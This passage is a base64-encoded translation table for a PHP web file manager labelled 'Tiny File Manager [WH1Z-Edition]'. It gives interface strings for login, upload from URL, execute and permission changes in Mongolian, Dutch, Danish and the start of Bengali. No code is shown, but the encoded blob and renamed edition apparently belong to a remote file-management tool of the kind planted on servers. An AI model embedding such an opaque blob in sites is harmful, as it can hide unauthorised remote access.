QsCIsIkNoYW5nZVBlcm1pc3Npb25zIjoi0K3RgNGFINGB0L7Qu9C40YUiLCJDb3B5aW5nIjoi0KXRg9GD0LvQtiDQsdCw0LnQvdCwIiwiQ3JlYXRlTmV3SXRlbSI6ItCo0LjQvdGN0Y3RgCDSr9Kv0YHQs9GN0YUiLCJOYW1lIjoi0J3RjdGAIiwiQWR2YW5jZWRFZGl0b3IiOiLQndCw0YDQuNC50L0g0q/QudC70LTRjdC70YLRjdC5INC30LDRgdCy0LDRgNC70LDQs9GHIiwiUmVtZW1iZXJNZSI6IlJlbWVtYmVyIE1lIiwiQWN0aW9ucyI6ItKu0LnQu9C00LvSr9Kv0LQiLCJVcGxvYWQiOiLQpdGD0YPQu9Cw0YUiLCJDYW5jZWwiOiLQkdC+0LvQuNGFIiwiSW52ZXJ0U2VsZWN0aW9uIjoi0KHQvtC90LPQvtC70YLRi9CzINGN0YHRgNGN0LPRjdGN0YAiLCJEZXN0aW5hdGlvbkZvbGRlciI6ItCe0YfQuNGFINGF0LDQstGC0LDRgSIsIkl0ZW1UeXBlIjoi0KLTqdGA06nQuyIsIkl0ZW1OYW1lIjoi0J3RjdGAIiwiQ3JlYXRlTm93Ijoi0q7Sr9GB0LPRjdGFIiwiRG93bmxvYWQiOiLQotCw0YLQsNGFIiwiT3BlbiI6ItCd0Y3RjdGFIiwiVW5aaXAiOiLQl9Cw0LTQu9Cw0YUiLCJVblppcFRvRm9sZGVyIjoi0KXQsNCy0YLRgdCw0L3QtCDQt9Cw0LTQu9Cw0YUiLCJFZGl0Ijoi0JfQsNGB0LDRhSIsIk5vcm1hbEVkaXRvciI6ItCt0L3Qs9C40LnQvSDQt9Cw0YHQstCw0YDQu9Cw0LPRhyIsIkJhY2tVcCI6ItCR0LDQutCw0L8iLCJTb3VyY2VGb2xkZXIiOiLQpdCw0LDQvdCw0LDRgSDRhdCw0LLRgtCw0YEiLCJGaWxlcyI6ItCk0LDQudC7IiwiQ2hhbmdlIjoi0KHQvtC70LjRhSIsIlNldHRpbmdzIjoi0KLQvtGF0LjRgNCz0L7QviIsIkxhbmd1YWdlIjoi0KXRjdC7IiwiTWVtb3J5VXNlZCI6ItCl0Y3RgNGN0LPQu9GN0LPQtNGN0LYg0LHRg9C5INGB0LDQvdCw0YUg0L7QuSIsIlBhcnRpdGlvblNpemUiOiLQn9Cw0YDRgtC40YjQvdGLINC30LDQuSIsIkVycm9yUmVwb3J0aW5nIjoi0JDQu9C00LDQsCDRhdCw0YDRg9GD0LvQsNGFIiwiU2hvd0hpZGRlbkZpbGVzIjoi0J3Rg9GD0YYg0YTQsNC50LvRg9GD0LTRi9CzINGF0LDRgNGD0YPQu9Cw0YUiLCJGdWxsIHNpemUiOiLQndC40LnRgiDRhdGN0LzQttGN0Y0iLCJIZWxwIjoi0KLRg9GB0LvQsNC80LYiLCJGcmVlIG9mIjoi0KXQvtC+0YHQvtC9INC30LDQuSIsIlByZXZpZXciOiLQo9GA0YzQtNGH0LjQu9Cw0L0g0YXQsNGA0LDRhSIsIkhlbHAgRG9jdW1lbnRzIjoi0KLRg9GB0LvQsNC80LYiLCJSZXBvcnQgSXNzdWUiOiLQkNC70LTQsNCwINC80Y3QtNGN0LPQtNGN0YUiLCJHZW5lcmF0ZSI6ItKu0q/RgdCz0Y3RhSIsIkZ1bGxTaXplIjoi0J3QuNC50YIg0YXRjdC80LbRjdGNIiwiRnJlZU9mIjoi0KXQvtC+0YHQvtC9INC30LDQuSIsIkNhbGN1bGF0ZUZvbGRlclNpemUiOiLQpdCw0LLRgtCw0YHQvdGLINGF0Y3QvNC20Y3RjdCzINCx0L7QtNC+0YUiLCJQcm9jZXNzSUQiOiLQn9GA0L7RhtC10YHRgdGL0L0gSUQiLCJIaWRlQ29sdW1ucyI6ItCR0LDQs9Cw0L3Rg9GD0LTRi9CzINC90YPRg9GFIiwiQ2hlY2sgTGF0ZXN0IFZlcnNpb24iOiLQqNC40L3Rh9GN0LvRjdC70YIg0LHQsNC50LPQsNCwINGN0YHRjdGF0LjQudCzINGI0LDQu9Cz0LDRhSIsIkdlbmVyYXRlIG5ldyBwYXNzd29yZCBoYXNoIjoi0KjQuNC90Y0g0L3Rg9GD0YYg0q/Qs9C40LnQvSDRhdCw0Ygg0q/Sr9GB0LPRjdGFIiwiRm9sZGVyIGlzIGVtcHR5Ijoi0KXQsNCy0YLQsNGBINGF0L7QvtGB0L7QvSDQsdCw0LnQvdCwIiwiQ3JlYXRlZCI6ItKu0q/RgdCz0Y3RgdGN0L0iLCJZb3UgYXJlIGxvZ2dlZCBpbiI6ItCd0Y3QstGC0Y3RgNGB0Y3QvSDQsdCw0LnQvdCwIiwiTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkIjoi0J3RjdGAINGO0LzRg9GDINC90YPRg9GGINKv0LMg0LHRg9GA0YPRgyDQsdCw0LnQvdCwIiwicGFzc3dvcmRfaGFzaCBub3Qgc3VwcG9ydGVkLCBVcGdyYWRlIFBIUCB2ZXJzaW9uIjoicGFzc3dvcmRfaGFzaCDRhNGD0L3QutGGINCx0LDQudGF0LPSr9C5INCx0LDQudC90LAuIFBIUCDRhdGD0LLQuNC70LHQsNGAINCw0YXQuNGD0LvQvdCwINGD0YMuIiwiR3JvdXAiOiLQkdKv0LvRjdCzIiwiT3RoZXIiOiLQkdGD0YHQsNC0IiwiUmVhZCI6ItCj0L3RiNC40YUiLCJXcml0ZSI6ItCR0LjRh9C40YUiLCJFeGVjdXRlIjoi0JDQttC40LvQu9GD0YPQu9Cw0YUifX0seyJuYW1lIjoiRHV0Y2giLCJjb2RlIjoibmwiLCJ0cmFuc2xhdGlvbiI6eyJBcHBOYW1lIjoiVGlueSBGaWxlIE1hbmFnZXIgW1dIMVotRWRpdGlvbl0iLCJBcHBUaXRsZSI6IkJlc3RhbmRzYmVoZWVyICIsIkxvZ2luIjoiSW5sb2dnZW4iLCJVc2VybmFtZSI6IkdlYnJ1aWtlcnNuYWFtIiwiUGFzc3dvcmQiOiJXYWNodHdvb3JkIiwiTG9nb3V0IjoiVWl0bG9nZ2VuIiwiQ29weSI6IktvcGnDq3JlbiIsIlNhdmUiOiJPcHNsYWFuIiwiU2VsZWN0QWxsIjoiQWxsZXMgc2VsZWN0ZXJlbiIsIlVuU2VsZWN0QWxsIjoiQWxsZXMgZGVzZWxlY3RlcmVuIiwiRmlsZSI6IkJlc3RhbmQiLCJCYWNrIjoiVGVydWciLCJTaXplIjoiR3Jvb3R0ZSIsIlBlcm1zIjoiUmVjaHRlbiIsIk1vZGlmaWVkIjoiQmV3ZXJrdCIsIk93bmVyIjoiRWlnZW5hYXIiLCJTZWFyY2giOiJab2VrZW4iLCJOZXdJdGVtIjoiTmlldXcgaXRlbSIsIkZvbGRlciI6Ik1hcCIsIkRlbGV0ZSI6IlZlcndpamRlciIsIlJlbmFtZSI6Ikhlcm5vZW0iLCJDb3B5VG8iOiJLb3Bpw6tyZW4gbmFhciIsIkRpcmVjdExpbmsiOiJEaXJlY3RlIGxpbmsiLCJVcGxvYWRpbmdGaWxlcyI6IkJlc3RhbmRlbiB1cGxvYWRlbiIsIkNoYW5nZVBlcm1pc3Npb25zIjoiUmVjaHRlbiBhYW5wYXNzZW4iLCJDb3B5aW5nIjoiQmV6aWcgbWV0IGtvcGnDq3JlbiIsIkNyZWF0ZU5ld0l0ZW0iOiJNYWFrIG5pZXV3IGl0ZW0iLCJOYW1lIjoiTmFhbSIsIkFkdmFuY2VkRWRpdG9yIjoiR2VhdmFuY2VlcmRlIGVkaXRvciIsIlJlbWVtYmVyTWUiOiJPbnRob3VkIG1paiIsIkFjdGlvbnMiOiJBY3RpZXMiLCJVcGxvYWQiOiJVcGxvYWRlbiIsIkNhbmNlbCI6IkFubnVsZXJlbiIsIkludmVydFNlbGVjdGlvbiI6IktlZXIgc2VsZWN0aWUgb20iLCJEZXN0aW5hdGlvbkZvbGRlciI6IkRvZWxtYXAiLCJJdGVtVHlwZSI6Ikl0ZW0gdHlwZSIsIkl0ZW1OYW1lIjoiSXRlbSBuYWFtIiwiQ3JlYXRlTm93IjoiTnUgYWFubWFrZW4iLCJEb3dubG9hZCI6IkRvd25sb2FkIiwiT3BlbiI6Ik9wZW5lbiIsIlVuWmlwIjoiVWl0cGFra2VuIiwiVW5aaXBUb0ZvbGRlciI6IlVpdHBha2tlbiBpbiBtYXAiLCJFZGl0IjoiQmV3ZXJrZW4iLCJOb3JtYWxFZGl0b3IiOiJTdGFuZGFhcmQgZWRpdG9yIiwiQmFja1VwIjoiQmFjay11cCBtYWtlbiIsIlNvdXJjZUZvbGRlciI6IkJyb25tYXAiLCJGaWxlcyI6IkJlc3RhbmRlbiIsIk1vdmUiOiJWZXJwbGFhdHNlbiIsIkNoYW5nZSI6IkFhbnBhc3NlbiIsIlNldHRpbmdzIjoiSW5zdGVsbGluZ2VuIiwiTGFuZ3VhZ2UiOiJUYWFsIiwiRm9sZGVyIGlzIGVtcHR5IjoiTWFwIGlzIGxlZWciLCJQYXJ0aXRpb25TaXplIjoiUGFydGl0aWVncm9vdHRlIiwiRXJyb3JSZXBvcnRpbmciOiJGb3V0bWVsZGluZ2VuIiwiU2hvd0hpZGRlbkZpbGVzIjoiVG9vbiB2ZXJib3JnZW4gYmVzdGFuZGVuIiwiRnVsbCBzaXplIjoiVm9sbGVkaWdlIGdyb290dGUiLCJIZWxwIjoiSGVscCIsIkZyZWUgb2YiOiJSdWltdGUgdnJpaiIsIlByZXZpZXciOiJWb29yYmVlbGQiLCJIZWxwIERvY3VtZW50cyI6IkhlbHAgZG9jdW1lbnRlbiIsIlJlcG9ydCBJc3N1ZSI6IlByb2JsZWVtIG1lbGRlbiIsIkdlbmVyYXRlIjoiR2VuZXJlZXIiLCJGdWxsU2l6ZSI6IlZvbGxlZGlnZSBncm9vdHRlIiwiRnJlZU9mIjoiUnVpbXRlIHZyaWoiLCJDYWxjdWxhdGVGb2xkZXJTaXplIjoiQmVyZWtlbiBtYXAgZ3Jvb3R0ZSIsIlByb2Nlc3NJRCI6IlByb2Nlcy1JRCIsIkNyZWF0ZWQiOiJBYW5nZW1hYWt0IiwiSGlkZUNvbHVtbnMiOiJWZXJiZXJnIFJlY2h0ZW4vRWlnZW5hYXIga29sb21tZW4iLCJZb3UgYXJlIGxvZ2dlZCBpbiI6IlUgYmVudCBpbmdlbG9nZCIsIkNoZWNrIExhdGVzdCBWZXJzaW9uIjoiQmVraWprIGxhYXRzdGUgdmVyc2llIiwiR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2giOiJHZW5lcmVlciBlZW4gbmlldXdlIHdhY2h0d29vcmQgaGFzaCIsIkxvZ2luIGZhaWxlZC4gSW52YWxpZCB1c2VybmFtZSBvciBwYXNzd29yZCI6IklubG9nZ2VuIG1pc2x1a3QuIE9uanVpc3RlIGdlYnJ1aWtlcnNuYWFtL3dhY2h0d29vcmQgY29tYmluYXRpZSIsInBhc3N3b3JkX2hhc2ggbm90IHN1cHBvcnRlZCwgVXBncmFkZSBQSFAgdmVyc2lvbiI6InBhc3N3b3JkX2hhc2ggaXMgbmlldCBvbmRlcnN0ZXVuZCwgVXBncmFkZSBQSFAgdmVyc2llIiwiQWR2YW5jZWQgU2VhcmNoIjoiR2VhdmFuY2VlcmQgem9la2VuIiwiRXJyb3Igd2hpbGUgY29weWluZyBmcm9tIjoiRm91dCBiaWogaGV0IGtvcGnDq3JlbiB2YW4iLCJOb3RoaW5nIHNlbGVjdGVkIjoiTmlldHMgZ2VzZWxlY3RlZXJkIiwiUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwiOiJQYWRlbiBtb2dlbiBuaWV0IGdlbGlqayB6aWpuIiwiUmVuYW1lZCBmcm9tIjoiSGVybm9lbWQgbmFhciIsIkFyY2hpdmUgbm90IHVucGFja2VkIjoiQXJjaGllZiBuaWV0IHVpdGdlcGFrdCIsIkRlbGV0ZWQiOiJWZXJ3aWpkZXJkIiwiQXJjaGl2ZSBub3QgY3JlYXRlZCI6IkFyY2hpZWYgbmlldCBhYW5nZW1hYWt0IiwiQ29waWVkIGZyb20iOiJHZWtvcGnDq2VyZCB2YW4iLCJQZXJtaXNzaW9ucyBjaGFuZ2UiOiJSZWNodGVuIGFhbnBhc3NlbiIsInRvIjoibmFhciIsIlNhdmVkIFN1Y2Nlc3NmdWxseSI6IlN1Y2Nlc3ZvbCBvcGdlc2xhZ2VuIiwibm90IGZvdW5kISI6Im5pZXQgZ2V2b25kZW4hIiwiRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHkiOiJCZXN0YW5kIHN1Y2Nlc3ZvbCBvcGdlc2xhZ2VuIiwiQXJjaGl2ZSI6IkFyY2hpZWYiLCJQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCI6IlJlY2h0ZW4gbmlldCBhYW5nZXBhc3QiLCJTZWxlY3QgZm9sZGVyIjoiU2VsZWN0ZWVyIG1hcCIsIlNvdXJjZSBwYXRoIG5vdCBkZWZpbmVkIjoiQnJvbm1hcCBpcyBuaWV0IGdlZGVmaW5pw6tlcmQiLCJhbHJlYWR5IGV4aXN0cyI6ImJlc3RhYXQgYWwiLCJFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSI6IkZvdXQgYmlqIGhldCB2ZXJwbGFhdHNlbiB2YW4iLCJDcmVhdGUgYXJjaGl2ZT8iOiJNYWFrIGFyY2hpZWY/IiwiSW52YWxpZCBmaWxlIG9yIGZvbGRlciBuYW1lIjoiT25nZWxkaWdlIGJlc3RhbmRzLSBvZiBtYXBuYWFtIiwiQXJjaGl2ZSB1bnBhY2tlZCI6IkFyY2hpZWYgdWl0Z2VwYWt0IiwiRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQiOiJCZXN0YW5kc3R5cGUgaXMgbmlldCB0b2VnZXN0YWFuIiwiUm9vdCBwYXRoIjoiUGFkIHN0YXJ0cHVudCIsIkVycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20iOiJGb3V0IGJpaiBoZXQgaGVybm9lbWVuIHZhbiIsIkZpbGUgbm90IGZvdW5kIjoiQmVzdGFuZCBpcyBuaWV0IGdldm9uZGVuIiwiRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMiOiJGb3V0IGJpaiBoZXQgdmVyd2lqZGVyZW4gdmFuIGl0ZW1zIiwiSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSI6Ik9uZ2VsZGlnZSBrYXJha3RlcnMgaW4gYmVzdGFuZHNuYWFtIiwiRklMRSBFWFRFTlNJT04gSEFTIE5PVCBTVVBQT1JURUQiOiJCRVNUQU5EU1RZUEUgSVMgTklFVCBPTkRFUlNURVVORCIsIlNlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCI6Ikdlc2VsZWN0ZWVyZGUgYmVzdGFuZGVuIGVuIG1hcHBlbiB2ZXJ3aWpkZXJkIiwiRXJyb3Igd2hpbGUgZmV0Y2hpbmcgYXJjaGl2ZSBpbmZvIjoiRm91dCBiaWogaGV0IHZlcmtyaWpnZW4gdmFuIGFyY2hpZWYgaW5mb3JtYXRpZSIsIkRlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8iOiJWZXJ3aWpkZXIgZGUgZ2VzZWxlY3RlZXJkZSBiZXN0YW5kZW4gZW4gbWFwcGVuPyIsIlNlYXJjaCBmaWxlIGluIGZvbGRlciBhbmQgc3ViZm9sZGVycy4uLiI6IlpvZWsgYmVzdGFuZCBpbiBtYXAgZW4gc3VibWFwcGVuLi4uIiwiQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSI6IlRvZWdhbmcgZ2V3ZWlnZXJkLiBJUC1iZXBlcmtpbmcgdmFuIHRvZXBhc3NpbmciLCJJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBvciBmb2xkZXIgbmFtZSI6Ik9uZ2VsZGlnZSBrYXJha3RlcnMgaW4gYmVzdGFuZHMtIG9mIG1hcG5hYW0iLCJPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUiOiJCZXdlcmtpbmdlbiBtZXQgYXJjaGlldmVuIHppam4gbmlldCBiZXNjaGlrYmFhciIsIkZpbGUgb3IgZm9sZGVyIHdpdGggdGhpcyBwYXRoIGFscmVhZHkgZXhpc3RzIjoiQmVzdGFuZCBvZiBtYXAgbWV0IGRpdCBwYWQgYmVzdGFhdCBhbCIsIk1vdmVkIGZyb20iOiJWZXJwbGFhdHN0IHZhbiIsImEgZmlsZXMiOiJiZXN0YW5kZW4iLCJPa2F5IjoiT0siLCJFbnRlciBoZXJlLi4uIjoiVm9lciBoaWVyIGluLi4uIiwiRW50ZXIgbmV3IGZpbGUgbmFtZSI6IlZvZXIgbmlldXdlIGJlc3RhbmRzbmFhbSBpbjrCkMKNIiwiRnVsbCBwYXRoIjoiVm9sbGVkaWcgcGF0aCIsIkZpbGUgc2l6ZSI6IkJlc3RhbmRzZ3Jvb3R0ZcKPIiwiSW1hZ2Ugc2l6ZXMiOiJBZmJlZWxkaW5nc2dyb290dGXCjyIsIkNoYXJzZXQiOiJLYXJha3RlcnNldCIsIkltYWdlIjoiQWZiZWVsZGluZyIsIkF1ZGlvIjoiQXVkaW8iLCJWaWRlbyI6IlZpZGVvIiwiVXBsb2FkIGZyb20gVVJMIjoiVXBsb2FkIHZhbiBVUkwgIiwiRmlsZXMgaW4gYXJjaGl2ZSI6IkJlc3RhbmRlbiBpbiBhcmNoaWVmIiwiVG90YWwgc2l6ZSI6IlRvdGFsZSBncm9vdHRlIiwiQ29tcHJlc3Npb24iOiJDb21wcmVzc2llIiwiU2l6ZSBpbiBhcmNoaXZlIjoiR3Jvb3R0ZSBpbiBhcmNoaWVmwo8iLCJJbnZhbGlkIFRva2VuLiI6Ik9uZ2VsZGlnIHRva2VuIiwiRnVsbHNjcmVlbiI6IlZvbGxlZGlnIHNjaGVybcKPIiwiVW5kbyI6Ik9uZ2VkYWFuIG1ha2VuIiwiUmVkbyI6Ik9wbmlldXcgZG9lbiIsIlRoZW1lIjoiVGhlbWEiLCJTZWxlY3QgVGhlbWUiOiJLaWVzIHRoZW1hIiwiU2VsZWN0IEZvbnQgU2l6ZSI6IktpZXMgZm9udGdyb290dGUiLCJBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/IjoiV2VldCB1IHpla2VyIGRhdCB1IGRlIG5hYW0gd2lsdCB3aWp6aWdlbj8iLCJBcmUgeW91IHN1cmUgd2FudCB0byI6IlZlcmRlciBnYWFuIG1ldCIsImRhcmsiOiJkb25rZXIiLCJsaWdodCI6ImxpY2h0In19LHsibmFtZSI6IkRhbnNrIiwiY29kZSI6ImRhIiwidHJhbnNsYXRpb24iOnsiQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSI6IkFkZ2FuZyBuw6ZndGV0LiBJUC1iZWdyw6Zuc25pbmcgZ8OmbGRlciIsIkFjdGlvbnMiOiJIYW5kbGluZ2VyIiwiQWR2YW5jZWQgU2VhcmNoIjoiQXZhbmNlcmV0IHPDuGduaW5nIiwiQWR2YW5jZWRFZGl0b3IiOiJBZHZhbmNlcmV0IEVkaXRvciIsIkFwcFRpdGxlIjoiRmlsaMOlbmR0ZXJpbmciLCJBcmNoaXZlIG5vdCBjcmVhdGVkIjoiQXJraXYgZXIgaWtrZSBvcHJldHRldCIsIkFyY2hpdmUgbm90IHVucGFja2VkIjoiQXJraXYgZXIgaWtrZSBwYWtrZXQgdWQiLCJBcmNoaXZlIHVucGFja2VkIjoiQXJraXYgZXIgdWRwYWtrZXQiLCJBcmNoaXZlIjoiQXJraXYiLCJCYWNrIjoiVGlsYmFnZSIsIkJhY2tVcCI6IkJhY2t1cCIsIkNhbGN1bGF0ZUZvbGRlclNpemUiOiJCZXJlZ24gbWFwcGVzdMO4cnJlbHNlIiwiQ2FuY2VsIjoiQWZicnlkIiwiQ2hhbmdlIjoiw4ZuZHJlIiwiQ2hhbmdlUGVybWlzc2lvbnMiOiLDhm5kcmUgdGlsbGFkZWxzZXIiLCJDaGVjayBMYXRlc3QgVmVyc2lvbiI6IlRqZWsgc2VuZXN0ZSB2ZXJzaW9uIiwiQ29waWVkIGZyb20iOiJLb3BpZXJldCBmcmEiLCJDb3B5IjoiS29waSIsIkNvcHlUbyI6IktvcGllciB0aWwiLCJDb3B5aW5nIjoiS29waWVyZXIiLCJDcmVhdGUgYXJjaGl2ZT8iOiJPcHJldCBhcmtpdj8iLCJDcmVhdGVOZXdJdGVtIjoiT3ByZXQgbnkiLCJDcmVhdGVOb3ciOiJPcHJldCBudSIsIkNyZWF0ZWQiOiJPcHJldHRldCIsIkRlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8iOiJTbGV0IHZhbGd0ZSBmaWxlciBvZyBtYXBwZXI/IiwiRGVsZXRlIjoiU2xldCIsIkRlbGV0ZWQiOiJTbGV0dGV0IiwiRGVzdGluYXRpb25Gb2xkZXIiOiJEZXN0aW5hdGlvbnNtYXBwZSIsIkRpcmVjdExpbmsiOiJEaXJla3RlIGxpbmsiLCJEb3dubG9hZCI6IkhlbnQiLCJFZGl0IjoiUmVkaWdlciIsIkVycm9yIHdoaWxlIGNvcHlpbmcgZnJvbSI6IkZlamwgdmVkIGtvcGllcmluZyBmcmEiLCJFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyI6IkZlamwgdmVkIHNsZXRuaW5nIGFmIGVsZW1lbnRlciIsIkVycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyI6IkZlamwgdmVkIGhlbnRuaW5nIGFmIGFya2l2b3BseXNuaW5nZXIiLCJFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSI6IkZlamwgdmVkIGZseXRuaW5nIGZyYSIsIkVycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20iOiJGZWpsIHZlZCBvbWTDuGJuaW5nIGZyYSIsIkVycm9yUmVwb3J0aW5nIjoiRmVqbHJhcHBvcnRlcmluZyIsIkV4ZWN1dGUiOiJVZGbDuHIiLCJGSUxFIEVYVEVOU0lPTiBIQVMgTk9UIFNVUFBPUlRFRCI6IkZJTEVYVEVOU0lPTiBFUiBJS0tFIFVOREVSU1TDmFRURVQiLCJGaWxlIFNhdmVkIFN1Y2Nlc3NmdWxseSI6IkZpbCBibGV2IGdlbXQiLCJGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZCI6IkZpbHR5cGVuYXZuIGVyIGlra2UgdGlsbGFkdCIsIkZpbGUgbm90IGZvdW5kIjoiRmlsIGlra2UgZnVuZGV0IiwiRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMiOiJGaWwgZWxsZXIgbWFwcGUgbWVkIGRlbm5lIHN0aSBmaW5kZXMgYWxsZXJlZGUiLCJGaWxlIjoiRmlsKGVyKSIsIkZpbGVzIjoiRmlsZXIiLCJGb2xkZXIgaXMgZW1wdHkiOiJNYXBwZW4gZXIgdG9tIiwiRm9sZGVyIjoiTWFwcGUocikiLCJGcmVlT2YiOiJMZWRpZyBhZiIsIkZ1bGxTaXplIjoiRnVsZCBzdMO4cnJlbHNlIiwiR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2giOiJHZW5lcmVyIG55IGFkZ2FuZ3Nrb2RlLWhhc2giLCJHZW5lcmF0ZSI6IkdlbmVyZXIiLCJHcm91cCI6IkdydXBwZSIsIkhlbHAgRG9jdW1lbnRzIjoiSGrDpmxwZWRva3VtZW50ZXIiLCJIZWxwIjoiSGrDpmxwIiwiSGlkZUNvbHVtbnMiOiJTa2p1bCBrb2xvbm5lciIsIkludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG5hbWUiOiJVZ3lsZGlnZSB0ZWduIGkgZmlsbmF2biIsIkludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lIjoiVWd5bGRpZ2UgdGVnbiBpIGZpbC0gZWxsZXIgbWFwcGVuYXZuIiwiSW52YWxpZCBmaWxlIG9yIGZvbGRlciBuYW1lIjoiVWd5bGRpZ3QgZmlsLSBlbGxlciBtYXBwZW5hdm4iLCJJbnZlcnRTZWxlY3Rpb24iOiJJbnZlcnRlciB2YWxnZXQiLCJJdGVtTmFtZSI6IkVtbmUgbmF2biIsIkl0ZW1UeXBlIjoiRW1uZSB0eXBlIiwiTGFuZ3VhZ2UiOiJTcHJvZyIsIkxvZ2luIGZhaWxlZC4gSW52YWxpZCB1c2VybmFtZSBvciBwYXNzd29yZCI6IkxvZ2luIG1pc2x5a2tlZGVzLiBVZ3lsZGlndCBicnVnZXJuYXZuIGVsbGVyIGFkZ2FuZ3Nrb2RlIiwiTG9naW4iOiJMb2cgcMOlIiwiTG9nb3V0IjoiTG9nIHVkIiwiTW9kaWZpZWQiOiLDhm5kcmV0IiwiTW92ZSI6IkZseXQiLCJNb3ZlZCBmcm9tIjoiRmx5dHRldCBmcmEiLCJOYW1lIjoiTmF2biIsIk5ld0l0ZW0iOiJOeXQgZW1uZSIsIk5vcm1hbEVkaXRvciI6IlN0YW5kYXJkIEVkaXRvciIsIk5vdGhpbmcgc2VsZWN0ZWQiOiJJbnRldCB2YWxndCIsIk9wZW4iOiLDhWJlbiIsIk9wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZSI6Ik9wZXJhdGlvbmVyIG1lZCBhcmtpdmVyIGVyIGlra2UgdGlsZ8OmbmdlbGlnZSIsIk90aGVyIjoiQW5kZXQiLCJPd25lciI6IkVqZXIiLCJQYXJ0aXRpb25TaXplIjoiUGFydGl0aW9uc3N0w7hycmVsc2UiLCJQYXNzd29yZCI6IkFkZ2FuZ3Nrb2RlIiwiUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwiOiJTdGllcm5lIG3DpSBpa2tlIHbDpnJlIGVucyIsIlBlcm1pc3Npb25zIGNoYW5nZWQiOiJUaWxsYWRlbHNlciDDpm5kcmV0IiwiUGVybWlzc2lvbnMgbm90IGNoYW5nZWQiOiJUaWxsYWRlbHNlciBpa2tlIMOmbmRyZXQiLCJQZXJtcyI6IlRpbGxhZGVsc2VyIiwiUHJldmlldyI6IkZvcmjDpW5kc3Zpc25pbmciLCJSZWFkIjoiTMOmcyIsIlJlbmFtZSI6Ik9tZMO4YiIsIlJlbmFtZWQgZnJvbSI6Ik9tZMO4YnQgZnJhIiwiUmVwb3J0IElzc3VlIjoiUmFwcG9ydMOpciBwcm9ibGVtIiwiUm9vdCBwYXRoIjoiUm9kIG1hcHBlIiwiU2F2ZSI6IkdlbSIsIlNlYXJjaCBmaWxlIGluIGZvbGRlciBhbmQgc3ViZm9sZGVycy4uLiI6IlPDuGcgZmlsIGkgbWFwcGUgb2cgdW5kZXJtYXBwZXIuLi4iLCJTZWFyY2giOiJTw7hnIiwiU2VsZWN0IGZvbGRlciI6IlbDpmxnIG1hcHBlIiwiU2VsZWN0QWxsIjoiVsOmbGcgYWxsZSIsIlNlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCI6IlZhbGd0ZSBmaWxlciBvZyBtYXBwZSBzbGV0dGV0IiwiU2V0dGluZ3MiOiJJbmRzdGlsbGluZ2VyIiwiU2hvd0hpZGRlbkZpbGVzIjoiVmlzIHNranVsdGUgZmlsZXIiLCJTaXplIjoiU3TDuHJyZWxzZSIsIlNvdXJjZSBwYXRoIG5vdCBkZWZpbmVkIjoiS2lsZGVzdGkgZXIgaWtrZSBkZWZpbmVyZXQiLCJTb3VyY2VGb2xkZXIiOiJLaWxkZW1hcHBlIiwiVGFyIjoiVGFyIiwiVGhlbWUiOiJUZW1hIiwiVW5TZWxlY3RBbGwiOiJGcmF2w6ZsZyBhbGxlIiwiVW5aaXAiOiJQYWsgdWQiLCJVblppcFRvRm9sZGVyIjoiUGFrIHVkIGkgbWFwcGUiLCJVcGxvYWQiOiJVcGxvYWQiLCJVcGxvYWRpbmdGaWxlcyI6IlVwbG9hZGVyIGZpbGVyIiwiVXNlcm5hbWUiOiJCcnVnZXJuYXZuIiwiV3JpdGUiOiJTa3JpdiIsIllvdSBhcmUgbG9nZ2VkIGluIjoiRHUgZXIgbG9nZ2V0IGluZCIsIlppcCI6IlppcCIsImFscmVhZHkgZXhpc3RzIjoiZWtzaXN0ZXJlciBhbGxlcmVkZSIsImRhcmsiOiJtw7hya3QiLCJsaWdodCI6Imx5c3QiLCJub3QgY3JlYXRlZCI6Imlra2Ugb3ByZXR0ZXQiLCJub3QgZGVsZXRlZCI6Imlra2Ugc2xldHRldCIsIm5vdCBmb3VuZCEiOiJpa2tlIGZ1bmRldCEiLCJwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24iOiJwYXNzd29yZF9oYXNoIGVyIGlra2UgdW5kZXJzdMO4dHRldCwgb3BncmFkZXIgUEhQLXZlcnNpb25lbiIsInRvIjoidGlsIn19LHsibmFtZSI6IkJlbmdhbGkiLCJjb2RlIjoiYm4iLCJ0cmFuc2xhdGlvbiI6eyJBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlIjoi4KaF4KeN4Kav4Ka+4KaV4KeN4Ka44KeH4Ka4IOCmheCmuOCnjeCmrOCngOCmleCmvuCmsCDgppXgprDgpr4g4Ka54Kav4Ka84KeH4Kab4KeH4Ke3IOCmhuC